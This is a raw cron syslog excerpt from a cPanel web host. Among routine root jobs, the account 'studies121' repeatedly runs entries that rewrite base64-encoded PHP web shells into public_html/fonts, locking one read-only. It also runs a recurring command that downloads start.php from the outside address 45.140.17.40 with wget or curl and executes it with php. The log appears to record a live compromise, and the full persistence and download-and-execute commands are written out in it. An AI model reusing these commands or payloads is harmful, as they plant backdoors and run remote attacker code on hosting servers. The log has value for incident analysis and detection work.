Sep  1 10:37:01 ip-184-168-122-23 CROND[6614]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  1 10:38:01 ip-184-168-122-23 CROND[6725]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  1 10:38:01 ip-184-168-122-23 CROND[6726]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 10:38:01 ip-184-168-122-23 CROND[6728]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  1 10:38:01 ip-184-168-122-23 CROND[6730]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  1 10:38:01 ip-184-168-122-23 CROND[6727]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 10:39:01 ip-184-168-122-23 CROND[6935]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 10:39:01 ip-184-168-122-23 CROND[6936]: (root) CMD (/usr/local/cpanel/scripts/clean_user_php_sessions > /dev/null 2>&1)
Sep  1 10:39:01 ip-184-168-122-23 CROND[6937]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  1 10:39:01 ip-184-168-122-23 CROND[6940]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 10:39:01 ip-184-168-122-23 CROND[6942]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  1 10:40:01 ip-184-168-122-23 CROND[7082]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  1 10:40:01 ip-184-168-122-23 CROND[7083]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  1 10:40:01 ip-184-168-122-23 CROND[7084]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  1 10:40:01 ip-184-168-122-23 CROND[7085]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 10:40:01 ip-184-168-122-23 CROND[7090]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  1 10:40:01 ip-184-168-122-23 CROND[7087]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  1 10:40:01 ip-184-168-122-23 CROND[7086]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 10:40:01 ip-184-168-122-23 CROND[7089]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep  1 10:41:01 ip-184-168-122-23 CROND[7201]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  1 10:41:01 ip-184-168-122-23 CROND[7203]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  1 10:41:01 ip-184-168-122-23 CROND[7202]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 10:41:01 ip-184-168-122-23 CROND[7204]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 10:42:01 ip-184-168-122-23 CROND[7315]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 10:42:01 ip-184-168-122-23 CROND[7316]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  1 10:42:01 ip-184-168-122-23 CROND[7317]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  1 10:42:01 ip-184-168-122-23 CROND[7318]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  1 10:42:01 ip-184-168-122-23 CROND[7319]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 10:43:01 ip-184-168-122-23 CROND[7467]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  1 10:43:01 ip-184-168-122-23 CROND[7466]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  1 10:43:01 ip-184-168-122-23 CROND[7469]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 10:43:01 ip-184-168-122-23 CROND[7468]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 10:44:01 ip-184-168-122-23 CROND[7643]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 10:44:01 ip-184-168-122-23 CROND[7645]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  1 10:44:01 ip-184-168-122-23 CROND[7644]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  1 10:44:01 ip-184-168-122-23 CROND[7646]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  1 10:44:01 ip-184-168-122-23 CROND[7647]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 10:45:01 ip-184-168-122-23 CROND[7772]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  1 10:45:01 ip-184-168-122-23 CROND[7773]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 10:45:01 ip-184-168-122-23 CROND[7777]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 10:45:01 ip-184-168-122-23 CROND[7778]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  1 10:45:01 ip-184-168-122-23 CROND[7779]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  1 10:45:01 ip-184-168-122-23 CROND[7775]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  1 10:46:01 ip-184-168-122-23 CROND[7911]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  1 10:46:01 ip-184-168-122-23 CROND[7912]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Sep  1 10:46:01 ip-184-168-122-23 CROND[7916]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 10:46:01 ip-184-168-122-23 CROND[7914]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  1 10:46:01 ip-184-168-122-23 CROND[7918]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  1 10:46:01 ip-184-168-122-23 CROND[7919]: (root) CMD (/usr/local/cpanel/scripts/upcp --security)
Sep  1 10:46:01 ip-184-168-122-23 CROND[7920]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 10:47:01 ip-184-168-122-23 CROND[8012]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 10:47:01 ip-184-168-122-23 CROND[8014]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  1 10:47:01 ip-184-168-122-23 CROND[8015]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  1 10:47:01 ip-184-168-122-23 CROND[8017]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 10:48:01 ip-184-168-122-23 CROND[8186]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  1 10:48:01 ip-184-168-122-23 CROND[8188]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 10:48:01 ip-184-168-122-23 CROND[8189]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  1 10:48:01 ip-184-168-122-23 CROND[8190]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  1 10:48:01 ip-184-168-122-23 CROND[8191]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 10:49:01 ip-184-168-122-23 CROND[8277]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 10:49:01 ip-184-168-122-23 CROND[8279]: (root) CMD (/usr/local/cpanel/bin/autossl_check --all)
Sep  1 10:49:01 ip-184-168-122-23 CROND[8281]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
